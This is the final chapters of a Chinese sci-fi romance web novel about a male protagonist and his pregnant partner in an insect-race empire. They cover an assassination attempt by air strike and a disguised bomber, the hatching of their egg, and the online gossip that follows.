奥兰德牙齿都在打颤,分不清这是梦境还是现实,精神力这时才迟缓地探出来,又逐渐躁动不安,无声包裹住魏邈的精神力。
一直到魏邈慢慢放开他,他才如梦初醒。
“已经快八个月。”奥兰德指节绷得发白,慢慢的、一字一句地说,“堕不掉了。”
魏邈问:“它健康吗?”
“还好。”
“那就生下来。”魏邈说,“你想好他的名字了吗?”
他无法有长远的想象。
他曾想要试图将奥兰德拖下泥潭,给他拉上掣肘,利用他,很轻而易举就能完成一些事。
计划半途而止,先前埋的雷却是一个一个炸开,直到现在,剪不断,理还乱。
魏邈没多余的精力去划清泾渭。
能活一年是一年,虫蛋落地,他活着,便支撑他的虫蛋活着;他死去,那是虫蛋的雌父的义务。
奥兰德覆压在他眉下的手慢慢向下滑落,落到他的鼻梁上,听到心脏不间断的跳动声,唇抿起,神色竟有些茫然。
“.…我不知道。”他有什么答什么,思绪已经停摆,机械地问,“一般幼崽不是由雄父起名吗?”
只有不受宠的幼崽,才由雌父起名,做简单的身份登记。
魏邈还不知道有这条规矩。
“到时候再说吧。”他皱起眉,“你也想想。”
183、番外sur la plage(三十二)
奥兰德觉得心脏窒闷,话在喉咙里转了一圈,到底不想再起了争执:“好。”
他指尖蜷了蜷,雄虫垂下眼时,睫毛自他指尖扫过,倒并没有露出厌烦的神色,几乎是一种无可奈何的姿态。
他几乎被这样的姿态给蛊惑了,凑过来,微微低下头,在魏邈唇上烙下一个吻,又伏靠在他颈窝上,因为虫蛋的阻挡,前倾的幅度不得不更大一些,是邀功讨赏的语气:“他是个雄虫蛋……很安静,很乖的,你摸一摸。”
夜风渡进来,偌大的前厅,只看到外面暖色的灯影游移。
魏邈只觉得脖颈发痒,试探性地摸了摸奥兰德的小腹,实心的,有什么悄悄动了动。
他禁不住真生了些恻隐。
这种愧怍生得莫名,先前刻意避开的情绪又如潮水般扑面而来,他被一把铁锁锁在船上,船在下沉,海平面上升。
他只得跟着一起沉下去。
奥兰德靠得极近,静静注视着他,终于慢慢柔下眼,闷闷笑了声:“他知道你是他的雄父。”
睁眼说瞎话。
虫蛋再智能,领悟力也不至于猪突猛进,一岁之前,他甚至分不清自己的手和脚。
魏邈其实不怎么熟悉奥兰德这一面,太黏乎,每一时一刻,视线都落在他身上,像是自内打碎的花瓶,浑不见先前的自矜和高傲。
打不得、骂不得,已重申过的内容,一方拒绝签字,再谈一遍又有何效益?他抿了抿唇,食指攀过奥兰德的脖颈,没回应,问了句:“注射过几回镇静剂?”这玩意儿不能多打,对精神力损伤极大,大部分雌虫濒临精神力暴乱边缘,才会真的用上一支。而看奥兰德脖颈的伤口,恐怕不止是一次两次。
“有过。”奥兰德睫毛簌簌动了动,把头埋在他颈窝里,半晌才说,“很疼。”
他的精神力毛毛躁躁一团,没被捋顺似的,庞然像是阴影,在暗处窥伺。
“为什么不告诉我?”
“你可以发现。”奥兰德语气清淡,“你不愿意。”
“是,我太蒙昧,庆幸万事大吉。”魏邈说,“是我的错。”
主给迷途的羔羊以指引。
若不是一颗苹果砸到他头上,到什么时候,他才能发现树结了果?
他修长的手指慢慢向上探,体温发冷,抬起奥兰德的下巴,冰冰冷冷的一个吻渡在他唇上,慢慢向里探。
雄虫的语调并不温情,倒像是吩咐:“调整呼吸。”奥兰德呼吸倏然停了停,浑身过电一般,被他压在沙发上,彼此都太熟稔,哪怕闹掰如此久,精神海也远比身体诚实。魏邈抚弄着他的后脖颈,摸了摸奥兰德的头发,耐心地梳理完他的精神力,直到这张揉皱的纸铺展,才放开他。
奥兰德幽蓝幽蓝的眼睛失了神,一只手拽住他的袖管,另一只手碰了碰自己的唇瓣,家居服面料柔软,衣领褶得厉害,处在余韵里,还有些回不过神。
“张口。”
“你想要什么?”他心底酸酸胀胀,低声道,“我都给你。”“想要什么都给?””嗯。”“给我个清净。”魏邈慢慢放开他,似笑非笑地开口,“以后别给我贴那些监视器了,胶痕很难去。“如今也不止奥兰德想要打探他的一举一动,混淆在一起,单确认都是大工程。奥兰德眼眸低垂,许久许久,才“嗯”了一声,下意识要攥住他地胳膊,收回手,低声问:“……你要走?”“不走。”魏邈回头看了他一眼,“你精神力不稳定,我留下来照顾你一晚。”灯明明灭灭,奥兰德仰着头看他片刻,不是愉悦的神色,倒有些怔忡。
“你骗我。”
“嗯,我骗你。”魏邈随意地应了声,开了厨房的灯,“我不知道你怎么想的,你能接受维持现状,我们就继续。”奥兰德起身,立在他身后,视线牢牢箍住他的背影。他心脏倏然一跳,后知后觉意识到这话代表何意,眼睛热意上涌,慢慢弯起眼,视线暗沉沉的,终于露出一点儿掠食者的锋锐。那是一种看向猎物的视线。
“莱尔。”他语调极缓,轻声细语地说,“我只放你离开一次,之后你再厌恶我,除非我死,你都不能摆脱我。“—么同归于尽,要么将他折磨死,就能得到解脱。魏邈倚在墙角,墨玉般的眼睛挪回他身上,当他专注时,就像面对一片漩涡。
他问:“这是承诺,还是威胁?”
“兼而有之。”沉甸甸的情感。魏邈不知道此刻他是什么情绪,笑笑,说:“我清楚了。”晚上魏邈做的饭,他来得匆忙,空着手,没半点儿上门拜访应尽的礼节,做了份土豆炖牛腩,端出来。期间约瑟夫来了一趟,见厨房里亮着灯,又悄悄退出来,只是仍有些心惊。按理说,雄虫不该下厨房,先前身份间隔太远,不算常理之列,如今也该有些横折撇捺来。奥兰德不多话,靠在一边儿,静悄悄的。“总庭的新助理。”魏邈卷起袖管,把土豆切块,下了锅,不阴不阳地问,“是你安进来的?”那是只挺漂亮的雌虫,二流贵族出身,身份干净得可疑。奥兰德眼底沾着笑影:“对。”他倒坦诚。
魏邈笑了声:“奥兰德,你总认为我对你狠,你自己呢?”
“你总要有个能疏解的对象。”奥兰德静静地说,“我怀着孕不方便,你出去找,不会比安东尼好多少。”倒不如他找个探子,看着对方。
但把那只雌虫放了两日,他便生了悔意,嫉恨让他几乎没办法想象,万一他们真的发生什么,他要做什么。
魏邈没多问,确认过了,处理的方式出来,在他眼里,这一茬事儿便算过了。
他待奥兰德已无脾气。
锅里的汤咕噜咕噜冒泡,他心平气和地说:“一会儿把饭吃了……你的产检单在哪儿,我去看看。”
奥兰德说:“你什么时候会做这些的?”
“从你寄过来账单开始。”魏邈说了句冷笑话,“钱没了,自然就会做了。”
奥兰德抿了抿唇,被堵得说不出话来。
饭出锅,机器人送来一沓病历,魏邈拿到手里,虫蛋的内部构造分毫毕现,他盯着看了半晌,只觉得稀奇。
接近盛暑,室内和室外是两个温度,花园里暖意朦胧,吃完饭,奥兰德去洗澡,魏邈在走廊外驻足欣赏了一会儿,才关了手电。兜兜转转,又转回来。
七月中旬,达北星的项目轰轰烈烈落地,舆论场满篇长篇累牍的报道,彼时,奥兰德接近预产期。场面热闹,魏邈辞了伊维科维奇的邀请,只派了公司里信得过的下属去坐镇。奥兰德这一趟怀孕都极为低调,几乎不对外界透露,口风遮得极严,只有几个医生和护士清楚,连柏布斯家族族内都不大清楚。魏邈从公司出来,一个医生模样的高挑雌虫就在大厅门外颇为焦急地候着他,穿着白大褂,戴着口罩,露出工作牌,是个生面孔。“莱尔阁下。”对方迎上来,微微躬了躬身,“家主让您现在去医院。”
魏邈顿住脚步,问:“你是?”“约瑟夫老先生走不开。”那位医生说,“他派我来告诉您一声,比预产期早了两天。”魏邈点点头,简明扼要地说:“坐我的飞行器吧。”雌虫笑意盎然:“是。”魏邈向后退了一步,盯着他的步幅,微微眯起眼,饶有兴味地说:“会驾驶吗?”雌虫大约一百五十斤,但走路姿势和这个体重却不大对称。太笨重。雌虫摇了摇头,为难地说:“抱歉,莱尔阁下,我是文职人员。”天际边隐约露出一条黑色的线。魏邈先上了飞行器,刚起步,便隐约嗅到危险的气息,引擎发出嗡鸣声,呼啸而上,刚行至空域,便觉得发动机锁死了。无数穿透弹如雨般落下。确实卡了个天时地利人和的好时间,也许几年之内,没有比这更趁手的日期。坐在后排的雌虫微微愕然,旋即屏住呼吸,还有些反应不过来: ……这是怎么了?”舱内,地动山摇。
魏邈摘下眼镜:“出了点儿小状况。”
“轰——”一声,远处逐渐燃起焦黑色的烟土,火光冲天,一枚炸弹自空中下坠,飞行器承受不住余波,向下坠落。
李易走出控制室。
他动作慢条斯理,确认完全部的动向,长长呼出一口气。
“成功了一半。”他说。
对讲机里,不断有杂乱的电磁信号传过来。
下属问:“不告诉赫尔诺将军?”
“不告诉。”李易说,“不要将他拉进来。”
他与赫尔诺许多决策,事前并不会知会对方。
奥兰德·柏布斯在联邦一号监狱旁,拥有一座巨大的医院,当初赫尔 诺还在第一军团时便透出风声,说是医院,如今倒不如说是一个巨型前沿的研究中心,由肖恩坦家族负责。
他在达北星同样设了卡,只可惜,乔布斯没去。
184、番外sur la plage(三十三)
在布列卡星策划袭击,就像在海沟上生造一座高山。
无论成功与否,连同李中将在内,参与这项计划的所有虫都难逃脱,代价从计划开始时就已经预付,能赌的无非是能不能同归于尽。
“我难以理解,区区一个法院总庭的审判长,为何要以牺牲您为代价?”下属冰冰冷冷地问,“中将,作为将军的副官,既然计划已经采纳,我能否提出质疑?”
军部与政府互相独立,法理上受上议院衔制,实权却几近相等,甚至还有余裕。
李易继承了将军在联邦几乎所有的政治遗产,功勋卓著,才爬到中将的高位,这些资源不可撤销,他死,则前功尽弃。
不是不能同归于尽,但同归于尽,也该挑个最有性价比的领主殉葬,买卖才划算。
审判长还不值得冒进。
“我理解,但莱尔比他们都重要。”李易常年含笑的眼睛极为平静,“死一百个我,抵不过一个他。”
副官拧起眉:“为什么?”
李易回过头,看了他一眼:“就凭他是那位统帅的秘密情人。”
他已经把全部的砝码压出去,在赌一个可能。
副官嘴唇动了动,神色震惊。
“统帅?”他古怪地重复了一遍,“柏布斯上将是我们的统帅?”
李易的视线锁紧屏幕:“是。”
假使莱尔对那位统帅的影响有昔年伊西温斯特对卡里尔·柏布斯的一半,他便赌赢了。
赫尔诺出走,温斯特家族落幕,达北星重建,上议院席位重组,军部改头换面,联邦之所以形成今天的一副牌局,源头都来自于四年前卡里尔柏布斯的自毁。好在那位统帅只是SS级,不像他的雌父,自成年起便拥有了绝对的统治力。
即使自毁,也能得到阻止。
“那我们为何…….李易冷硬地打断他:“还没明白吗?假若统帅和我们不是同路者,那他的家族和立场将成为反叛军最大的障碍。”且越来越难以逾越。对方不认同一种规章,那么这种规章将无立锥之地;他愿意建立何种秩序,那么秩序便落地生根。谁能将他改变?将军还未醒悟,但他确实该感谢莱尔,让他不至于泥足深陷。
“假如袭击失败。”李易放缓了声音,“我会送你离开,里奥,你要即刻公布奥兰德柏布斯的立场,逼他不得不站在将军这一边,或面对公众空前的质疑。”那位统帅即将分娩,正值最虚弱的良机,也许不会再有这样的机会。
“您呢?”
“不用在乎我。”李易顿了顿,耐人寻味地说,“我会确保袭击最后一环的成功。”
地面嗡鸣,外部承压到极限,四周都是浓烟。
魏邈启动紧急制动按键,一路狂飙,飞行器擦着墙面,翻转了两圈,“碰——”一声,火光四溅。
舱门锁死。
就像蛋黄,处在打蛋器里面,差点儿被摇散了。医生抖抖索索地道:“莱、莱尔阁下。”极罕见的状况,从里向外看,如同世界末日。
魏邈速度极快,一只手握着方向盘,另一只手则在组狙击枪,神色凛然,顺口问了句:“还能说话?”
这个强度,换成一个体力一般的A级雌虫,从里到外,八成要被打成糊糊了。
放先前,他大概也是糊糊,好在出于职业因素不得不特训了一段时间,以预防特殊情况。
“不、不是。”医生话都说不直,“我报警了,没信号。”
“这是空袭。”飞行器又一个转弯,轰一声,炸弹落地,有什么崩开,魏邈声音混杂着剧烈的爆炸声,“你该报告给军部。”
医生眼睛睁得老大,盯着眼前四分五裂的玻璃看:…….
几列改装后的飞行器空投完炸弹,自上方绕圈,几个黑洞洞的枪口自打开的舱门外对着他。
此时不过一分钟有余。
狙击这门课,很考验动态视力和计算能力,尤其是目标在移动的时候,大部分还得理科生来做题。
消音弹落地,轰一声,魏邈便主动将飞行器撞上一堵墙。
舱门原本就擦枪带火的,这会儿直接冒起浓烟,阻隔了视线,地方的消音弹四散而落,弹簧探出,魏邈一脚踹开门,干脆把已经变形的飞行器作为掩体,眯起眼,精神力如同丝线般探出,弹道在眼中分毫毕现,看到黑洞洞的枪眼,拉开保险栓。
旋即,扣动扳机。
他提前备好了改装穿透枪,常备在飞行器里,这种狙击枪杀伤力极大,单买都是他一年的工资,甚至足够付奥兰德二十分之一的堕胎费。
雌虫的头盖骨也并不比雄虫的耐打多少,在热武的准确性面前,大部分虫都难以招架。
打完一整个弹夹,死的死,伤的伤。
医生被飞行器的弹簧弹出,艰难地爬出来。
“莱尔阁下。”他一身伤口,有出气没进气的说,“快走,我保护你。”
这里是一处区政府的会议场馆,不在上班时间,呈一个U型,会议室一间一间,分割得恰到好处,不在会议时间内,里面空无一虫。
乔布斯把飞行器停在了上面。
他显然早有计划,这样密集的攻击也没有打乱他的阵脚,对布星了解到游刃有余的地步。
李易盯着屏幕,锁住眉心。
几个下属接近濒死,纵然已经一再高估乔布斯的能力,没有将他当做雄虫来判断,但局面还是超过了他的想象。
比起文职人员,对方更像是训练有素的战士。
他没有太多时间。
乔布斯可以拖着等来救援,他不可以,时间流逝,如果不能速战速决,赢面会忽略不计。
“我送你离开。”李易快速地说,“里奥,请记住你的任务。”
副官不无怀疑地问:“您能做到?”
“我会尽力而为。”李易问,“我只有三分钟,你还要浪费我最后的时间?”
“如何确认你平安?”
“向虫神祈祷。”
副官不说话了,脱下军帽,冲李易点头致意,脸色难看地拍了拍对方的肩膀:“保重。”
无论反对还是赞成,计划已经开始。
开弓没有回头箭。
每个军团都划有单独的制空区域,不许他者进入,不对民众开放,他们如今身处的,便是第一军团内部的空域。
接近八千米高的高空,空气极度稀薄,副官自巨大的漂浮机舰脱离,张开虫翼,径直向下滑落。
确认对方安全之后,下一瞬,李易操控巨型的机舰,引擎发出细微的嗡鸣,径直向下俯冲。
有了掩体,总好过没有掩体。
魏邈打开能量罩,便看到医生嗷嗷待哺地看着他,他顿了顿,解释了句:“我只带了一份。”
下一瞬,灼灼的白光亮起,爆炸自近向远推及,刚佩戴好的能量罩在瞬息间破碎,替魏邈承受住这一次巨大的冲击。
医生用一把电刃抵住他的脖颈。
防御类武器大多数是一次性的,显然,他身上也备有这类能量罩。
“没关系。”雌虫再也忍不住,露出即将成功的狞笑,“不影响的。”
刀“刺啦”渗进去,魏邈用腿干脆利落地踹开他的胳膊,雌虫没想到他这么快反应过来,抵不住,眼疾手快向后退了一步,手腕一抖,避开这一击,自白大褂里又取出一枚炸弹。“负重挺多啊。”魏邈垂眸,点评了句。
难怪当医生,衣服这么宽的位置,绑几个炸弹,多生动自然。
这时候,比的都是反应能力。
他自口袋里掏出手枪,特质的雷铁弹硬度能穿破一切坚硬的墙壁,用比较游戏的话术来形容,便是自带附魔效果。
一枪打中对方的手腕,血线渗出,雌虫渗出汗,咬着牙,要点开引线。
魏邈补完三枪,四肢都均匀地顾及到,让他基本失去行动能力,血汨汨涌出,在地上挣扎片刻之后,干脆利落地扯开他的衣服,开始拆弹。
雌虫喘息了几声,不相信他在瞬息间被一个雄虫制服:“你知道。”
他曾用各种名头暗杀过几十名高官勋爵,无一失败。
“猜测而已,出门在外,总要做好防备。”
“什么时候?”
“事先。”魏邈说,语气不乏遗憾,笑了笑,“我只是没想到,局面已不可调和。”
两分钟过去。
军部。
警报声一片,第四军团的副军团长西莫接到拜伦西斯的电话,顾不及风度,径直摁断。
完了。
他大脑一抽一抽的疼。
用脚也知道西斯军团长要问什么,都是些无用的信息,只会干扰他的判断。
“信号回复了吗?”他问。
下属做出肯定的答复。
利亚坐在他身边,目光望向屏幕,抿了抿唇,神色深沉:“李易是反叛军的卧底?”
“对。”西莫干脆利落地朝门外走,一口气儿吊在脖颈,好悬没下来,此刻才算有了底,拧开门把,边走边说,“他修改了时间…拜托您了,拦截一下,我去现场。”
他做了繁多的预案,这是最坏最坏的一种。
——他从未见过这么恣意妄为的雄虫。
莱尔阁下暴露在李易的视野里,不是第一时间寻求帮助,而是将计就计。
这样冒险,也不担心命没了,一切白搭。
好在还活着,能移动,这是成堆的坏消息里唯一的好消息。
活着就好,活着就好。
利亚点了头:“我清楚。”
185、番外sur la plage(完)
血流成厚厚一沓,除了魏邈此处所站的地方,都一片狼藉,军部的飞行器都编了号,在空中乌央乌央飞,把地方围堵起来。
西莫急匆匆迫降。
他提心吊胆,攥了攥手心,只觉得汗毛倒竖,总觉得这地儿应该是个摄影棚,边上已经发硬的雌虫是全息投影出来的,打心底尊尊敬敬地喊了声:“莱尔阁下。”
手一挥,示意后边儿跟着的医疗兵上。
“我没事。”魏邈靠在墙边,慢慢恢复些力气,被溅的满身满手的血,薄薄一层白衬衫染得透红,将就着和西莫打了个招呼,先介绍了句,“出现了些紧急情况……该救的地上那位,他还活着。”狙击枪连发,又都是穿透弹,他手臂被后坐力震得发麻,几乎抬不起来,干脆踩了脚地上俘虏的肩膀,算是提示。
西莫这才低头,眼皮不由挑了挑,心惊肉跳。
四枪,不多不少,恰好避开要害,显然是特意留的活口,好走程序。
他不是不了解这位雄虫,毕竟总在社交媒体上刷到对方的资讯,粉丝太多,捎带着连其母校歌尔大学都成了网红打卡点,围堵的水泄不通,热搜包年常驻,想当看不见都不成。
莱尔阁下不是文职岗位吗?
敢情枪法也是法。
西莫吩咐了句:“先去测个心跳。”
几只医疗兵早就嗷嗷待哺,总算得了令,就像是狗看到了狗不理包子似的,一拥而上,展开急救。
魏邈侧身,让开一个身位,淡淡地吩咐说:“借个通讯器,我打个电话。”手上的光脑联通飞行器一起撞飞,估摸着全尸都找不到。他清楚自己此刻状态不大对劲,脑子被撞得七荤八素,倒还记得个未竟的任务。给奥兰德报个平安。
西莫深吸一口气,把自己的光脑递过去。
“路上说。”魏邈道。
整个医疗中心,通体都是白色,门禁极为森严,甫一进来,天光撒下,闸门自动关闭,像是囚牢。西莫在门外自觉地止了步。魏邈刚进去,便撞进奥兰德怀里。他用了十成十的力道,从侧面抱着,几乎想把他融进骨髓,紧接着,是温热的眼泪。上次久别重逢,他也强忍着没掉眼泪。
“你太过分了。”奥兰德将头埋在魏邈的颈窝上,一遍一遍说,“…你总是这样。”看起来简直无害极了。
魏邈覆下眼睑,注视着他修长的脖颈,莫名升起一股冲动,没听他在说什么,颇为耐心地摩挲着他的肌肤,像是第一回认识他似的,目光幽深、新奇。在此之前,他从未发现奥兰德这么——
漂亮。
恰到好处的漂亮,无论是身形,还是相貌,都合乎他的标准,也许是因为怀孕的缘故,看起来有些柔和,哪怕怀孕已足月,也不会让他减去兴趣。想把他捣碎。
他没打算安慰他,哪怕奥兰德看上去很需要安慰,抬起他的脑袋,吻住对方的嘴唇。
奥兰德身体僵硬了一瞬,眼睛颤了颤,睫毛洇开泪珠,已经不知道是他折磨他的第几回,却拒绝不了这样热烈的吻,攥住他的衣领,迎合上去。
他很快也沾上同样的硝烟味儿,以及一些灰尘,简直一团糟。
这个吻很久没有结束,一直到奥兰德呼吸急促,魏邈才放开他,又摆正他的面孔。
他不接这个指控:“我不是第一时间给你发消息了吗?”
“事情没发生时,你该给我打电话。”
魏邈歪了歪脑袋,仔细思考了半晌:“我事先没有意识到。”
借口。
奥兰德胸膛起伏半晌,语调冷硬起来:“你没意识到,就不会请那只雌虫上你的飞行器。”
停在原地,拨通电话、等待援救,是当时的最优解。
“可是我不让他们认为可以冒头,”魏邈询问似的说,“我下一步要怎么做呢?局面就僵住了,我总不能让你为我冲锋陷阵。”他不想再利用奥兰德,自然要付一些风险。这是他挑起反叛军内部的矛盾,他这两年在反叛军内部的所为,说是想鸩占鹊巢也不为过,鹊想报复回来,是天经地义的事情。他不大想让奥兰德再掺和进这个泥坑里。奥兰德注视着他,浓郁的眼睫垂下,遮住幽蓝蓝的瞳孔,一种莫名的滞涩让他觉得心里发疼,面容苍白,没什么血色。他又伤心了。
魏邈简直不知道他为何有这么多心可伤,他把衣服脱下,换上干燥的T恤。
没伤筋动骨,但全身多处擦伤总免不了,来的路上已自愈一部分,看起来没那么血肉模糊,奥兰德才发现他没有敷药,眼睛抖了抖,起身,去找药育。
“西莫不让你处理伤口?”他语调肉眼可见的冷下来。
魏邈拣了句好听的话说:“我想先来见你。”哄奥兰德并不算一件特别困难的事情。奥兰德抿着唇,停顿了许久,还是没再问下去:“我给你敷药。”药膏冰冰凉凉,他的手却滚烫,碰到肌肤上,有一种颤栗似的错觉,魏邈困极,闭了闭眼睛,冷不丁感受到肩膀的痛意。一个牙印新鲜出炉。
魏邈叹口气:“都不让我好好休息的。”
“你已验证过。”半晌,他听奥兰德一字一句地问,“我为什么不能为你冲锋陷阵?”
“那我让你杀了赫尔诺。”魏邈笑着注视着他,“你愿意吗?”
四目相视。
奥兰德没有犹豫太久,说:“好。”
“哪怕损害你的利益,伤及你的位置,让你受伤,”魏邈顿了顿,“你也愿意?”
“不会受伤。”奥兰德垂下眼,轻声细语地说,“你可以多信任我一些。“
“可我让你放弃你的计划呢?”魏邈慢慢弯起眼,一寸一寸,将他怔住的神情纳入眼底,堪称温和地问,“奥兰德,你不想当君主吗?”
主宰所有虫的生死,丈量他们的命运,只传递一种声音,只拥有一个思维。
这是虫族最原始的、最难以抵抗的诱惑,也是这个族群能扩大兴起的原因。
——阶级分明、排除异己、征服与被征服。
他终于说出他们根本的分歧。
奥兰德张了张口,一瞬间内,几乎失了声,再没有一刻,凉意从心脏里冒出来。
他静了许久,下意识想逃离,又明白避无可避,只仓皇吐出几个词儿:“你什么时候知道的?”
从李易在达北星告诉他,有关卡里尔·柏布斯的事例起。
魏邈不想算这样明白的账,揉了揉他的发旋,温声细语地说:“你看,你有你的事业,我也有我的展望,你明明也再清楚不过,我们并非同路者,我要是你,就该第一时间毙了我。”奥兰德帮他,就是在击溃自己。
哪有帮敌人占领根据地的?.
…原来是这样。”奥兰德堵住他的嘴唇,避过他柔和的堪称无情的视线,眼底的阴戾一闪而逝,笑了起来,“所以你一直厌恶我。”他野心毕现,自己竟然都不清楚。
魏邈话已说尽,叹口气,伸出手:“药膏给我。”
“好。”奥兰德递给他。
魏邈拧起药膏,将他放在一侧。
“我听你的话。”奥兰德冷不丁问,“我很乖,对不对?”
魏邈说:“嗯。”
“那我一直听你的话。”奥兰德轻声细语地问,“你愿意娶我吗?”
奥兰德生产的过程很顺利,哪怕外界满城风雨,这里依然没透出去半点儿口风。
魏邈便也掐断通讯,专心陪着他。
虫蛋呱呱坠地,光面的蛋,花纹极漂亮,在无菌室里看起来小小一团,摸起来却像是实心的诺基亚。
魏邈站在无菌室里,刚升完级的精神力触角探出去,替虫蛋擦完蛋壳,又给他裹上毯子,冷不想:刘备若是虫族,刘禅应该会更聪明些。
毕竟耐摔。
这几日星网乱七八糟,许多消息一齐曝出来,占据热榜。#莱尔柏布斯上将#反叛军
#柏布斯上将未婚先孕
【难怪许久没有见那位先生公开露面了……】
【莱尔阁下是反叛军的卧底?】
【不是,怎么可能?他是雄虫啊。】
【好离谱的消息,假到让我觉得是真的,毕竟不太可能是编出来的……】
【…据说都快生了,连雌侍都捞不到吗?】
【梦雌那边儿已经开始骂柏布斯上将自甘下贱了,应该是真的。】
【所以是真的未婚先孕了?】
【嘘——】
【你不说,那我也不说。】
【既然大家不说,那我也不说了。】
【那位先生真的需要遗产的继承权吗……他该防的是别的雄虫吧。】
【柏布斯家族是世系最显赫的贵族了吧,历史书的常客,怎么还能出现这么抓马的事。】
【谁还记得莱尔先生随军过,还写过专题报道,从选议员时期,他们就认识吧。】
【虫神,难道那时候就有一腿了?】
【韦尼乔怎么办?】
【那位先生别把原配的骨灰扬了,都算脾气好的……】
【可能已经扬了,这事儿也不可能对外公布。】
【他有这么横的资格吗?连金属牌都没上啊,朋友。】
【虫神,莱尔阁下自己认领了虫蛋。】
【是个雄虫蛋。】
【暂时拥有了扬韦尼乔三分钟骨灰的入场券。】
【画的什么?好萌。】
莱尔V:初次见面。
【图】【图】【图】
魏邈在切苹果,奥兰德盯着那几张图,眼眸餍足地弯起。
“我可以转吗?”他顺手点赞了几个骂他的评论,随意地问。
魏邈将果皮切整齐,仔细看了眼,递过去一块,说:“当然。”
奥兰德问:“您觉得虫蛋叫什么?”“维恩?”奥兰德说:“是不是有些秀气?”“维克多。”奥兰德委婉地说:“有些普通。”
魏邈抬起眼,似笑非笑望着他,说:“你能不能自己动动脑子,奥兰德?你的大脑快生锈了。“
他哪起过洋名。
“那就叫维克多吧。”奥兰德其实也不怎么在乎虫蛋叫什么,笑意和煦,“他姓什么?跟您的真名姓吗?”魏维克多。
魏邈将苹果皮扔掉:“跟你姓。”
一完一